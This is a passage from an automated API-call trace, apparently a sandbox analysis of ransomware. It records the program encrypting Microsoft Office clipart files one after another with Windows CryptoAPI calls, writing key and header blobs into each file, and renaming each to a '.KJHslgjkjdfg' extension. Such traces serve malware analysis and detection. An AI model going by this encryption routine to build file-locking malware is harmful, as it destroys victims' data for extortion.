lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.765] GetProcessHeap () returned 0x990000 [0212.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.kjhslgjkjdfg")) returned 1 [0212.767] CloseHandle (hObject=0x130) returned 1 [0212.767] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8632900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8632900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1 [0212.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.768] GetProcessHeap () returned 0x990000 [0212.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.769] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.769] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.772] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.772] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.772] GetProcessHeap () returned 0x990000 [0212.772] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.772] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.772] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.772] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.772] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.772] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.772] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.772] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.772] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.773] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.773] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1088, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1088, lpOverlapped=0x0) returned 1 [0212.774] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1090, dwBufLen=0x1090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1090) returned 1 [0212.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.774] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1090, lpOverlapped=0x0) returned 1 [0212.774] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.774] SetEndOfFile (hFile=0x130) returned 1 [0212.777] GetProcessHeap () returned 0x990000 [0212.777] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.777] GetProcessHeap () returned 0x990000 [0212.777] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.kjhslgjkjdfg")) returned 1 [0212.779] CloseHandle (hObject=0x130) returned 1 [0212.779] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32d8d00, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32d8d00, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1 [0212.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.780] GetProcessHeap () returned 0x990000 [0212.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.780] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.782] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.782] GetProcessHeap () returned 0x990000 [0212.782] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.782] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.783] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.783] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.783] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.783] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.783] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.783] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.783] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.783] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.783] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x578, lpOverlapped=0x0) returned 1 [0212.784] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x580, dwBufLen=0x580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x580) returned 1 [0212.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.784] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x580, lpOverlapped=0x0) returned 1 [0212.784] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.784] SetEndOfFile (hFile=0x130) returned 1 [0212.787] GetProcessHeap () returned 0x990000 [0212.787] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.787] GetProcessHeap () returned 0x990000 [0212.787] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.kjhslgjkjdfg")) returned 1 [0212.789] CloseHandle (hObject=0x130) returned 1 [0212.789] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1 [0212.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.791] GetProcessHeap () returned 0x990000 [0212.791] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.791] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.791] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0212.797] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.797] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.797] GetProcessHeap () returned 0x990000 [0212.797] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.797] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.797] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.797] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.797] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.797] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.797] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.797] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.798] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.798] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3086, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3086, lpOverlapped=0x0) returned 1 [0212.799] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3090, dwBufLen=0x3090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3090) returned 1 [0212.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.800] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3090, lpOverlapped=0x0) returned 1 [0212.800] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.800] SetEndOfFile (hFile=0x130) returned 1 [0212.803] GetProcessHeap () returned 0x990000 [0212.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.803] GetProcessHeap () returned 0x990000 [0212.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.kjhslgjkjdfg")) returned 1 [0212.805] CloseHandle (hObject=0x130) returned 1 [0212.805] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02009_.WMF", cAlternateFileName="")) returned 1 [0212.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.807] GetProcessHeap () returned 0x990000 [0212.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0212.807] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0212.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0212.808] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0212.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.810] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.810] GetProcessHeap () returned 0x990000 [0212.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0212.810] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0212.810] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.810] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0212.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0212.810] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0212.810] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0212.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0212.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0212.811] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0212.811] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0212.811] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.811] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d14, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d14, lpOverlapped=0x0) returned 1 [0212.812] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d20, dwBufLen=0x1d20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d20) returned 1 [0212.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.812] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d20, lpOverlapped=0x0) returned 1 [0212.812] CryptDestroyKey (hKey=0x9b6628) returned 1 [0212.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.812] SetEndOfFile (hFile=0x130) returned 1 [0212.815] GetProcessHeap () returned 0x990000 [0212.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0212.815] GetProcessHeap () returned 0x990000 [0212.815] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0212.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.kjhslgjkjdfg")) returned 1 [0212.817] CloseHandle (hObject=0x130) returned 1 [0212.817] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO02022_.WMF", cAlternateFileName="")) returned 1 [0212.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0212.818] GetProcessHeap () returned 0x990000 [0212.818] RtlAllocateHeap (HeapHandle=0x990000, 